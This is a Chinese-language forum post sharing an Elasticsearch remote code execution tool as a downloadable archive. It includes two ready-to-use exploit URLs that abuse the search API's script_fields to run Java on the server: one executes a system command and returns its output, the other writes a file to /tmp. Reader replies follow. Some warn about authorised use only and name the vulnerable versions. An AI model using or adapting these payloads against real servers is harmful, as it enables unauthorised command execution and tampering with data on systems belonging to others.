Elasticsearch 代码执行漏洞利用工具

90_

Elasticsearch_fat.rar (329.09 KB, 下载次数: 9)

2014-5-22 23:48 上传

点击文件名下载附件

利用代码：

[AppleScript] 查看源码 复制代码

http://xxx.com:9200/_search?source={%22size%22:1,%22query%22:{%22filtered%22:{%22query%22:{%22match_all%22:{}}}},%22script_fields%22:{%22exp%22:{%22script%22:%22import%20java.util.*;\nimport%20java.io.*;\nString%20str%20=%20\%22\%22;BufferedReader%20br%20=%20new%20BufferedReader(new%20InputStreamReader(Runtime.getRuntime().exec(\%22ifconfig\%22).getInputStream()));StringBuilder%20sb%20=%20new%20StringBuilder();while((str=br.readLine())!=null){sb.append(str);}sb.toString();%22}}}

[AppleScript] 查看源码 复制代码

http://xxx.com:9200/_search?source={%22size%22:1,%22query%22:{%22filtered%22:{%22query%22:{%22match_all%22:{}}}},%22script_fields%22:{%22exp%22:{%22script%22:%22import%20java.util.*;\nimport%20java.io.*;\nFile%20f%20=%20new%20File(\%22/tmp/12.txt\%22);if(f.exists()){\%22exists\%22.toString();}BufferedWriter%20bw%20=%20new%20BufferedWriter(new%20OutputStreamWriter(new%20FileOutputStream(f),\%22UTF-8\%22));bw.write(\%221233\%22);bw.flush();bw.close();if(f.exists()){\%22success\%22.toString();}%22}}}

zyc2483

不知道有啥作用

蓝色_

华丽丽的界面

热心网友2

这种漏洞利用工具看起来很强大，不过提醒一下，请仅在获得授权的情况下进行安全测试或学习研究，切勿用于非法攻击。另外，Elasticsearch 官方较早版本已修复类似问题，建议相关用户及时升级。感谢分享。

热心网友2

感谢分享，这套利用代码看起来很实用。不过提醒一下，在生产环境测试前最好先在隔离环境验证，避免对线上业务造成影响。另外，如果目标 Elasticsearch 启用了权限控制，可能还需要调整 payload。请问楼主这套工具是自己写的还是从其他来源收集的？

热心网友7

楼主提供的这个利用代码利用了旧版Elasticsearch（1.x～2.x版本）中`script_fields`的Java沙盒绕过漏洞（CVE-2015-1427等），允许攻击者通过动态脚本执行任意系统命令或文件写入。这是非常危险的安全问题，建议所有使用Elasticsearch的用户立即排查版本，如果版本低于1.4.3或2.0.0（且未打补丁），应立刻升级或禁用动态脚本功能。 另外，代码中的`xxx.com`建议替换为实际测试环境IP，切勿用于未授权系统，否则可能涉及违法行为。感谢分享，也提醒大家注意防护。